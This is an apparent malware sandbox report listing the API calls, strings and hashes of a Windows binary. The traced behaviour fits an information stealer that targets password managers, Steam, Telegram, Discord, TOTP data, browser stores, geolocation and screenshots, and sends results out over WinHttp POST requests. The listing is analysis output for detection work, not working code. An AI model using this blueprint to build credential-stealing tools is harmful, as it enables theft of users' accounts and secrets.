Sleep.KERNELBASE(000003E8,0047AC6B,?), ref: 0042BB1D

Part of subcall function 00416047: __EH_prolog.LIBCMT ref: 0041604C

GetUserNameA.ADVAPI32(?,00000101), ref: 0042BD6B

Part of subcall function 004344FE: __EH_prolog.LIBCMT ref: 00434503
Part of subcall function 004344FE: WinHttpOpen.WINHTTP(00000000,00000000,00000000,00000000,00000000,0048A818,00000000,00000000), ref: 00434543
Part of subcall function 004344FE: WinHttpConnect.WINHTTP(?,00000000,000001BB,00000000,?), ref: 0043460F

Part of subcall function 00413E27: _Deallocate.LIBCONCRT ref: 00413E3C

Part of subcall function 00414005: _Deallocate.LIBCONCRT ref: 00414014

Sleep.KERNEL32(00007530), ref: 0042BF38
_strlen.LIBCMT ref: 0042C057
StrToIntA.SHLWAPI(00000000,00000000), ref: 0042C3FE
CreateThread.KERNEL32 ref: 0042C505
CreateThread.KERNEL32 ref: 0042C517
CreateThread.KERNEL32 ref: 0042C529
CreateThread.KERNEL32 ref: 0042C53B

Part of subcall function 00433097: __EH_prolog.LIBCMT ref: 004338AC

Part of subcall function 004390C6: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000), ref: 004390EB
Part of subcall function 004390C6: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,?,00000000,00000000,?,?,00000000,00000000), ref: 00439132

_strlen.LIBCMT ref: 0042C071

Part of subcall function 00432CA5: __EH_prolog.LIBCMT ref: 00432CAA

Part of subcall function 00428625: __EH_prolog.LIBCMT ref: 0042862A

CreateThread.KERNEL32 ref: 0042C759
CreateThread.KERNEL32 ref: 0042C7A9
StrToIntA.SHLWAPI(00000000,?,?,00000000,00000002,00000000,00000001,00000000,00000000,00000002,00000001,00000000), ref: 0042CBB7
CreateThread.KERNEL32 ref: 0042CE85
WaitForSingleObject.KERNEL32(00000000,000000FF), ref: 0042CE8E

Part of subcall function 004241F1: __EH_prolog.LIBCMT ref: 004241F6

Strings

b, xrefs: 00432267
POST, xrefs: 0042BEDD
@, xrefs: 0042E79E
O, xrefs: 00431A7B
Z, xrefs: 0043267E
9, xrefs: 0042F325
n, xrefs: 004321CF
', xrefs: 0042F7D9
2, xrefs: 004301D5
longitude, xrefs: 0042DC27, 0042DC47
o, xrefs: 004320D7
mC6fU, xrefs: 0042DC96, 0043154A, 004317B6
F, xrefs: 00431BF1
Y, xrefs: 004304F1
steamstr, xrefs: 0042C54B, 0042C554, 0042C579, 0042C5A1
stm, xrefs: 0042C716, 0042C71E, 0042C72F
Rf66cjXWSDBo1vlrnxFnlmWs5Hi27k1oEtcnlNpxYeb17MW50EYfagyr/AdW3PZLmHbaKV1pyjb0uAxyj3xJTof/Rx+L483exBcQEdRpb+/UVI0E1J+0wdRK86olsGqbBQRJ18LPkcSKB2QSBqg8QC7KxArlS9BfWFJe44VgOLqHeg25q0M6gvnBqBo+AF4eLDzOOfVMBgbKrtV6L36X6vCmf8PgdjNdEGHdtsfLEFKGO8rrcTkq2ctD , xrefs: 0042B6D3
ews, xrefs: 0042C7B9, 0042C808, 0042C943
;, xrefs: 00431C62
, xrefs: 0042E007
8, xrefs: 0042EF7C
o, xrefs: 0043255A
b, xrefs: 00431FAF
1password, xrefs: 00430FC2
2, xrefs: 0042D846
%, xrefs: 0042D638
w, xrefs: 0042E99F
a, xrefs: 0042E6AF
aE5-mO-4m_A, xrefs: 004304CF, 00430673
GET, xrefs: 0042BA42
p, xrefs: 00431E2E
{, xrefs: 004309BE
latitude, xrefs: 0042DBB4, 0042DBD4
5, xrefs: 0042E5A5
ffs, xrefs: 0042CE9F, 0042CEC9, 0042CF3C, 0042CFC1, 0042D022
fB9oV, xrefs: 0042D044, 0042D09F, 00431682
_, xrefs: 0042F651
V, xrefs: 0042E453
GrOrOjybVzRniOZtzxMtw3Ko4S/6shE1GMFix5MuI/OpoIX/jAoBNQ== , xrefs: 0042B6E3
e, xrefs: 0043266E
screen.jpeg, xrefs: 00430B9C
r, xrefs: 0042FE50
5611095ee49218feb5b751c501370b8c , xrefs: 0042B6F6
;, xrefs: 004312D3
\data.json, xrefs: 00430EB5
d, xrefs: 0042D533
discord_files\, xrefs: 00430C45
1, xrefs: 0042FFD9
O, xrefs: 00431873
O, xrefs: 00431B2E
#, xrefs: 00430327
], xrefs: 0042E180
A, xrefs: 00431D1B
I, xrefs: 004323F0
], xrefs: 0042EE6B
7, xrefs: 0042D30D
/, xrefs: 004324B6
tgs, xrefs: 0042C5D6, 0042C640, 0042C6A6
totps, xrefs: 0042C95F, 0042C9AA, 0042CAAF
e, xrefs: 0042D47E
@, xrefs: 0042E8A4
O, xrefs: 00431F17
bitwarden, xrefs: 00430EA7
9, xrefs: 0042B97E
p, xrefs: 004313DB
n, xrefs: 0042FB63
location, xrefs: 0042D51A, 0042D522, 0042D624, 0042D753, 0042D832, 0042D939, 0042DA00, 0042DA0D, 0042DAEE, 0042DB05, 0042DB25, 0042DBAB, 0042DBCB, 0042DC1E, 0042DC3E
), xrefs: 0042DA21
x, xrefs: 00431D8C
}, xrefs: 0042DD63
sqlite3.dll, xrefs: 0042CCC3, 0042CD6B, 0042EC23, 004317FA
_id, xrefs: 00431273
I, xrefs: 0042F204
zip, xrefs: 0042DB0E, 0042DB32

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: H_prolog$CreateThread$Sleep$ByteCharDeallocateHttpMultiUserWide_strlen$ConnectDefaultInfoInitializeLocaleNameObjectOpenSingleWait
String ID: $#$%$'$)$/$1$1password$2$2$5$5611095ee49218feb5b751c501370b8c $7$8$9$9$;$;$@$@$A$F$GET$GrOrOjybVzRniOZtzxMtw3Ko4S/6shE1GMFix5MuI/OpoIX/jAoBNQ== $I$I$O$O$O$O$POST$Rf66cjXWSDBo1vlrnxFnlmWs5Hi27k1oEtcnlNpxYeb17MW50EYfagyr/AdW3PZLmHbaKV1pyjb0uAxyj3xJTof/Rx+L483exBcQEdRpb+/UVI0E1J+0wdRK86olsGqbBQRJ18LPkcSKB2QSBqg8QC7KxArlS9BfWFJe44VgOLqHeg25q0M6gvnBqBo+AF4eLDzOOfVMBgbKrtV6L36X6vCmf8PgdjNdEGHdtsfLEFKGO8rrcTkq2ctD $V$Y$Z$\data.json$]$]$_$_id$a$aE5-mO-4m_A$b$b$bitwarden$d$discord_files\$e$e$ews$fB9oV$ffs$latitude$location$longitude$mC6fU$n$n$o$o$p$p$r$screen.jpeg$sqlite3.dll$steamstr$stm$tgs$totps$w$x$zip${$}
API String ID: 735833627-1758150525
Opcode ID: 758715eb1d6f196b5e4d0183cf03d628dee932037e3a4fe88597d8a17831f9ba
Instruction ID: 85527a646f7813a7f43d218ba1f8161405dc7401b006f0ffd2eb40277b08c653
Opcode Fuzzy Hash: 758715eb1d6f196b5e4d0183cf03d628dee932037e3a4fe88597d8a17831f9ba
Instruction Fuzzy Hash: CDE3A134D052A89ADF25EB65CD92BEEB7745F25304F0000DEA459B72C2DEBC1B88CB59

Uniqueness

Uniqueness Score: -1.00%

Function 00424AE3 Relevance: 11.1, APIs: 1, Strings: 5, Instructions: 633
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00424AE8

Strings

), xrefs: 004252E9
number overflow parsing ', xrefs: 00425148
value, xrefs: 0042505E, 004250D0
array, xrefs: 00424DA0
object, xrefs: 00425296

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID: )$array$number overflow parsing '$object$value
API String ID: 3519838083-413397775
Opcode ID: a22291f0fe6be1199054bf92327735eb7c8da10d98f8f22d90c0a5d7436630aa
Instruction ID: c876f187a907d955bf580fb5b3a381b8dccb0abe09f2dec324e6ea06e948919d
Opcode Fuzzy Hash: a22291f0fe6be1199054bf92327735eb7c8da10d98f8f22d90c0a5d7436630aa
Instruction Fuzzy Hash: 0942C271D04218DEDF14DFA5D884BEEBBB4EF48304F40819FE806A7281DB785A48CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00436235 Relevance: 1.5, APIs: 1, Instructions: 12
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetUserNameA.ADVAPI32(?,?), ref: 00436250

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: 3f75a5a0aac4c5a2f81ed87c7052b80dd6f72b165fa53e8e0745e400a00dc507
Instruction ID: cb5789710f45fec6cb6b7c9a988bf0cfe96b110e95e03200d453a31137eb00cf
Opcode Fuzzy Hash: 3f75a5a0aac4c5a2f81ed87c7052b80dd6f72b165fa53e8e0745e400a00dc507
Instruction Fuzzy Hash: D4D0C97480811DEBCF50DB90D949AC9B7FCAB00308F0004A294C1E3140FAF4ABC99B91

Uniqueness

Uniqueness Score: -1.00%

Function 00441435 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00041441,00440E0A), ref: 0044143A

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: e00c4f2e96a4a4fb44868941b44a0c8a4ba7b05e4674367a6a814512a46c9701
Instruction ID: 18bae3ea7a40761544036f726438442313e6b1f954136037412ae80225c44dbb
Opcode Fuzzy Hash: e00c4f2e96a4a4fb44868941b44a0c8a4ba7b05e4674367a6a814512a46c9701
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 004344FE Relevance: 33.6, APIs: 17, Strings: 2, Instructions: 308
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00434503
WinHttpOpen.WINHTTP(00000000,00000000,00000000,00000000,00000000,0048A818,00000000,00000000), ref: 00434543
WinHttpConnect.WINHTTP(?,00000000,000001BB,00000000,?), ref: 0043460F

Part of subcall function 004390C6: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000), ref: 004390EB
Part of subcall function 004390C6: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,?,?,00000000,00000000,?,?,00000000,00000000), ref: 00439132

WinHttpConnect.WINHTTP(?,00000000,00000050,00000000,?), ref: 00434661
WinHttpOpenRequest.WINHTTP(00000000,?,00000000,00000000,00000000,00000000,00800100,?), ref: 004346E8
WinHttpOpenRequest.WINHTTP(00000000,?,00000000,00000000,00000000,00000000,00000100,?), ref: 0043475A
WinHttpSetTimeouts.WINHTTP(00000000,00000BB8,00000BB8,00007530,00007530,?,00000000,00000000,00000000,00000000,00000100,?), ref: 0043478A
_strlen.LIBCMT ref: 0043479B
_strlen.LIBCMT ref: 004347A5
WinHttpSendRequest.WINHTTP(00000000,Content-Type: text/plain; charset=UTF-8,000000FF,?,00000000,00000000,00000000,?,00000000,00000000,00000000,00000000,00000100,?), ref: 004347BA
WinHttpReceiveResponse.WINHTTP(00000000,00000000,?,00000000,00000000,00000000,00000000,00000100,?), ref: 004347CA
WinHttpQueryDataAvailable.WINHTTP(00000000,?,?,00000000,00000000,00000000,00000000,00000100,?), ref: 004347E0
WinHttpReadData.WINHTTP(00000000,00000000,?,?,00000000,00000000,00000100,?), ref: 0043480A
GetLastError.KERNEL32(?,00000000,00000000,00000000,00000000,00000100,?), ref: 004348C0
WinHttpCloseHandle.WINHTTP(00000000,?,00000000,00000000,00000000,00000000,00000100,?), ref: 004348C9
WinHttpCloseHandle.WINHTTP(00000000), ref: 004348D3
WinHttpCloseHandle.WINHTTP(?), ref: 004348DD

Strings

Content-Type: text/plain; charset=UTF-8, xrefs: 004347B4
%99[^:]://%99[^/]%99[^], xrefs: 00434569

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: Http$CloseHandleOpenRequest$ByteCharConnectDataMultiWide_strlen$AvailableErrorH_prologLastQueryReadReceiveResponseSendTimeouts
String ID: %99[^:]://%99[^/]%99[^]$Content-Type: text/plain; charset=UTF-8
API String ID: 2655695305-3818427525
Opcode ID: b77a022f8e2187e42fd74cfc1cce0bbd4b19f0ac0b96dcdc1c289341e6e56e0f
Instruction ID: 3182b266e546ac90e1301814d1b7de8aa1530414b50454a6e5d54c37d4a25e0b
Opcode Fuzzy Hash: b77a022f8e2187e42fd74cfc1cce0bbd4b19f0ac0b96dcdc1c289341e6e56e0f
Instruction Fuzzy Hash: 2FC17D74C01259EFDB14DF96CD84AEEBBB8EF49304F1040AEE405A7251DB785A88CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00439263 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 65
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000008,?), ref: 00439275
OpenProcessToken.ADVAPI32(00000000), ref: 0043927C
GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00439296
GetLastError.KERNEL32 ref: 004392A0
GlobalAlloc.KERNEL32(00000040,00000000), ref: 004392B0
GetTokenInformation.KERNELBASE(?,TokenIntegrityLevel,00000000,00000000,00000000), ref: 004392C4
ConvertSidToStringSidW.ADVAPI32(00000000,00000000), ref: 004392D8
GlobalFree.KERNEL32 ref: 004392F8

Strings

S-1-5-18, xrefs: 004392E5

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: Token$GlobalInformationProcess$AllocConvertCurrentErrorFreeLastOpenString
String ID: S-1-5-18
API String ID: 857934279-4289277601
Opcode ID: edcb4446c9ec4a83aae49d1b09c5ee5a4ca912e2161760a7c213f870e203ea1b
Instruction ID: 39ecd7c2a0b44a3dde09c3b187e80756c7c84462810f2d261e057b0a29825c1e
Opcode Fuzzy Hash: edcb4446c9ec4a83aae49d1b09c5ee5a4ca912e2161760a7c213f870e203ea1b
Instruction Fuzzy Hash: 42114C79904114BBDB119BA29D09F9F7FB8EB08751F104465F902D11A0EBB48E04DB6A

Uniqueness

Uniqueness Score: -1.00%

Function 00422AE1 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 63
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

std::bad_exception::bad_exception.LIBCMT ref: 00422B3C
std::bad_exception::bad_exception.LIBCMT ref: 00422B4C
std::bad_exception::bad_exception.LIBCMT ref: 00422B5C
std::bad_exception::bad_exception.LIBCMT ref: 00422B7F

Strings

A:\_Work\rc-build-v1-exe\json.hpp, xrefs: 00422B20
hTcH, xrefs: 00422B61
false, xrefs: 00422B25

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: std::bad_exception::bad_exception
String ID: A:\_Work\rc-build-v1-exe\json.hpp$false$hTcH
API String ID: 2160870905-3522427401
Opcode ID: 469e34ef801cd50d83ceb550333f45ed0c8549e552ef8e199538b48cd5c174a2
Instruction ID: b0d0b246637ec978a8a835a740d5bbc4b4a86905d2b0e54410f960fdc7c06bbc
Opcode Fuzzy Hash: 469e34ef801cd50d83ceb550333f45ed0c8549e552ef8e199538b48cd5c174a2
Instruction Fuzzy Hash: 10112731B4022476CB19BF64EE5AEFF7B206F11719FA4420FB01122591C1ADA61EC25E

Uniqueness

Uniqueness Score: -1.00%

Function 00438F36 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 122
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00438F3B
RegOpenKeyExA.KERNELBASE(80000002,?,00000000,00020119,?,0048A818,00000000,00000000), ref: 00438FBF
RegQueryValueExA.KERNELBASE(?,?,00000000,?,?,00000040), ref: 0043900E
RegCloseKey.ADVAPI32(?), ref: 0043902F

Strings

@, xrefs: 00438F78

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: CloseH_prologOpenQueryValue
String ID: @
API String ID: 1233982722-2766056989
Opcode ID: 21081de2faae48ea08353a73dfc8764377531f4c7101fc95f9d6b8033f0ea62b
Instruction ID: 4939e6b19bad704bd84383b5c505a9f3cf8781dda692871c7e59ed54aa19d7c9
Opcode Fuzzy Hash: 21081de2faae48ea08353a73dfc8764377531f4c7101fc95f9d6b8033f0ea62b
Instruction Fuzzy Hash: 18516A71D002589FDB21CFA9C880AEEBBB9FF48304F14416EE549A7202DB745A88CB55

Uniqueness

Uniqueness Score: -1.00%

Function 00443A5B Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 43
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

KiUserExceptionDispatcher.NTDLL(E06D7363,00000001,00000003,00000000,tI3iZ,?,0043FE5D,00000000,00485748,?), ref: 00443ABB

Strings

\1A, xrefs: 00443A8B
HWH, xrefs: 00443A61
tI3iZ, xrefs: 00443A65, 00443A7F

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: DispatcherExceptionUser
String ID: HWH$\1A$tI3iZ
API String ID: 6842923-3666237150
Opcode ID: 73cff91b3f8154b3218b70cde12b15d0983f003bcf5e275a2267df3da4fafff0
Instruction ID: 78d11d752c5ea704a0754d0b8d88eab02e005f1556d1cdce3e03203ce6e341ea
Opcode Fuzzy Hash: 73cff91b3f8154b3218b70cde12b15d0983f003bcf5e275a2267df3da4fafff0
Instruction Fuzzy Hash: 7601A276A00209ABD7019F5DD884BAEBBF8FF84B04F15405AED45AB390E770EE00CB90

Uniqueness

Uniqueness Score: -1.00%

Function 004610D4 Relevance: 4.6, APIs: 3, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNEL32 ref: 004610DD
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0046114B

Part of subcall function 0045B5E8: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,00000000,00000000,?,0045A77A,?,00000000,00000000), ref: 0045B694

Part of subcall function 0045A421: RtlAllocateHeap.NTDLL(00000000,0043FE4F,00000000,?,00441C9B,00000002,00000000,?,tI3iZ,?,0040A956,0043FE4F,00000004,00000000,00000000,00000000), ref: 0045A453

_free.LIBCMT ref: 0046113C

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: EnvironmentStrings$AllocateByteCharFreeHeapMultiWide_free
String ID:
API String ID: 2560199156-0
Opcode ID: 6141c92de87a54b0077db9c3ac7c5fe6e64138c422514f9af111d2ffa184b58b
Instruction ID: 3c8886e7aed14680dc9250b0622c9d46040dd5234f7bc0cce68a51df2efd7e04
Opcode Fuzzy Hash: 6141c92de87a54b0077db9c3ac7c5fe6e64138c422514f9af111d2ffa184b58b
Instruction Fuzzy Hash: A50188B26017157B27211AB75C89CFB596DCEC7B98718012BFE04D2211FE688C0291BB

Uniqueness

Uniqueness Score: -1.00%

Function 00422690 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 200
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 00422695

Part of subcall function 00422654: __EH_prolog.LIBCMT ref: 00422659

Part of subcall function 00422C6B: __EH_prolog.LIBCMT ref: 00422C70

Part of subcall function 0042427D: __EH_prolog.LIBCMT ref: 00424282

Part of subcall function 00422D37: __EH_prolog.LIBCMT ref: 00422D3C

Part of subcall function 0041B7BB: __EH_prolog.LIBCMT ref: 0041B7C0

Part of subcall function 00422FAA: __EH_prolog.LIBCMT ref: 00422FAF

Part of subcall function 00414005: _Deallocate.LIBCONCRT ref: 00414014

Part of subcall function 0041B796: ___std_exception_destroy.LIBVCRUNTIME ref: 0041B7A6
Part of subcall function 0041B796: ___std_exception_destroy.LIBVCRUNTIME ref: 0041B7B1

Strings

value, xrefs: 0042270F, 0042283B

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: H_prolog$___std_exception_destroy$Deallocate
String ID: value
API String ID: 2272592100-494360628
Opcode ID: a33d3db77f3dd4ca87a18eb2a129eb61487f31996a8ac76b40d0e28579252018
Instruction ID: d3462780419007ab9116c0340c34f49ae3a484023cac47b34d386178795013be
Opcode Fuzzy Hash: a33d3db77f3dd4ca87a18eb2a129eb61487f31996a8ac76b40d0e28579252018
Instruction Fuzzy Hash: 55711B70E00218AECF14EBB5D9417DEBBF4AF59304F50449FE405A7282DB781B48CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00455096 Relevance: 3.1, APIs: 2, Instructions: 119
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 00455104
_free.LIBCMT ref: 00455124

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 27b3c7da813610413e8ac38354982157633184f5bdfac6cc4c11b4f0f599fbd2
Instruction ID: 778ea3b4a939596d57af07bd40987807942cef8691ad2a7daa5f432b1477ce71
Opcode Fuzzy Hash: 27b3c7da813610413e8ac38354982157633184f5bdfac6cc4c11b4f0f599fbd2
Instruction Fuzzy Hash: 9C41D636E00600AFDB10DF69C891A6EB7B6EF89715F15446EE901EB352DB34ED06CB84

Uniqueness

Uniqueness Score: -1.00%

Function 0045E7EC Relevance: 3.0, APIs: 2, Instructions: 44
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 0045E80D

Part of subcall function 0045A421: RtlAllocateHeap.NTDLL(00000000,0043FE4F,00000000,?,00441C9B,00000002,00000000,?,tI3iZ,?,0040A956,0043FE4F,00000004,00000000,00000000,00000000), ref: 0045A453

RtlReAllocateHeap.NTDLL(00000000,?,?,00000004,00000000,?,004611F1,?,00000004,00000000,?,?,?,0045511F,?,00000000), ref: 0045E849

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: AllocateHeap$_free
String ID:
API String ID: 1482568997-0
Opcode ID: 0a47a7c8f26fb19508831b85fd30ae71473aeb387b652985e9327cb436aed0bf
Instruction ID: 42ca19433fe536447144f72781c51fd043e3620c12d6bd637a415058332aad6c
Opcode Fuzzy Hash: 0a47a7c8f26fb19508831b85fd30ae71473aeb387b652985e9327cb436aed0bf
Instruction Fuzzy Hash: 18F0C831501210A6DB293A17DC04A6F27989F81B77F15403BFC5467293DE2C9A0991EE

Uniqueness

Uniqueness Score: -1.00%

Function 0043656B Relevance: 3.0, APIs: 2, Instructions: 39
synchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenMutexA.KERNEL32 ref: 004365B2
CreateMutexA.KERNELBASE(00000000,00000000,00000000), ref: 004365BF

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: Mutex$CreateOpen
String ID:
API String ID: 4030545807-0
Opcode ID: 119aaba3e4833f859c7cc3027f01ac8899194346f9d004c484927451f4d71b09
Instruction ID: bc4f5322a732dbfbcf72cef345dcb4a1a5255e74c7d447d7fe82ee20308baf3b
Opcode Fuzzy Hash: 119aaba3e4833f859c7cc3027f01ac8899194346f9d004c484927451f4d71b09
Instruction Fuzzy Hash: DBF02B1490435976DF01ABB91C568FFBBFC9E0A344B01B17DE44562113F6A8894E83A9

Uniqueness

Uniqueness Score: -1.00%

Function 00454B7A Relevance: 3.0, APIs: 2, Instructions: 33
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 00454BC2

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: _free
String ID:
API String ID: 269201875-0
Opcode ID: 44f861eefd073526018874d36c4ba8c6cf1306c38e382c8bf26c9c0a99295fa2
Instruction ID: 787f506ff1532a6c7e39f2abcf3748760f7d495596372960425ab69c622bbca3
Opcode Fuzzy Hash: 44f861eefd073526018874d36c4ba8c6cf1306c38e382c8bf26c9c0a99295fa2
Instruction Fuzzy Hash: CCE0303290651155A611672B7C0176B16899BC137EF11022FEC609A5D3EE6898CA525E

Uniqueness

Uniqueness Score: -1.00%

Function 0042247A Relevance: 1.6, APIs: 1, Instructions: 86
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog.LIBCMT ref: 0042247F

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 7be70b044aaad7483c32f2e0d4326c13f4f7975dd8448be710766ce3b4b8989e
Instruction ID: 9b4d18ee3d3b879b515d90f923db4101d68ab231ad1b62f5a0a1e083c9349f6f
Opcode Fuzzy Hash: 7be70b044aaad7483c32f2e0d4326c13f4f7975dd8448be710766ce3b4b8989e
Instruction Fuzzy Hash: 07315C74E01259AFDF14EFA4D951BEEBBB4BF08304F4081AEE40AA3241DB785A49CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0045A421 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,0043FE4F,00000000,?,00441C9B,00000002,00000000,?,tI3iZ,?,0040A956,0043FE4F,00000004,00000000,00000000,00000000), ref: 0045A453

Memory Dump Source

Source File: 00000002.00000002.503612673.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_LaunchWinApp.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: 7bc5926f72d55e304c5266ff1ce8dcc9842f8bbb4b2f1e23230ae6f9068803d2
Instruction ID: c04b13823d0d1e9781c09d4fc9e3a970414c6a289403dd75cb5b6a0c56c790f2
Opcode Fuzzy Hash: 7bc5926f72d55e304c5266ff1ce8dcc9842f8bbb4b2f1e23230ae6f9068803d2
Instruction Fuzzy Hash: BAE0E53110112057D72026E29C09B5B76889B433A6F050237FD04972D3EBDCCC1985EF

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00434EB9 Relevance: 77.3, APIs: 10, Strings: 34, Instructions: 282stringencryptionCOMMON

Download Yara Rule

APIs

Part of subcall function 00435D8C: RegOpenKeyExW.ADVAPI32(80000001,Software\Microsoft\Internet Explorer\IntelliForms\Storage2,00000000,00000100,00000100,?,00000000), ref: 00435DD4
Part of subcall function 00435D8C: RegQueryValueExW.ADVAPI32(00000100,?,00000000,?,00000000,00000000,?,00000000), ref: 00435DF3
Part of subcall function 00435D8C: RegQueryValueExW.ADVAPI32(00000100,?,00000000,00000000,00000000,00000000,?,00000000), ref: 00435E2E
Part of subcall function 00435D8C: RegCloseKey.ADVAPI32(00000100,?,00000000), ref: 00435E4F

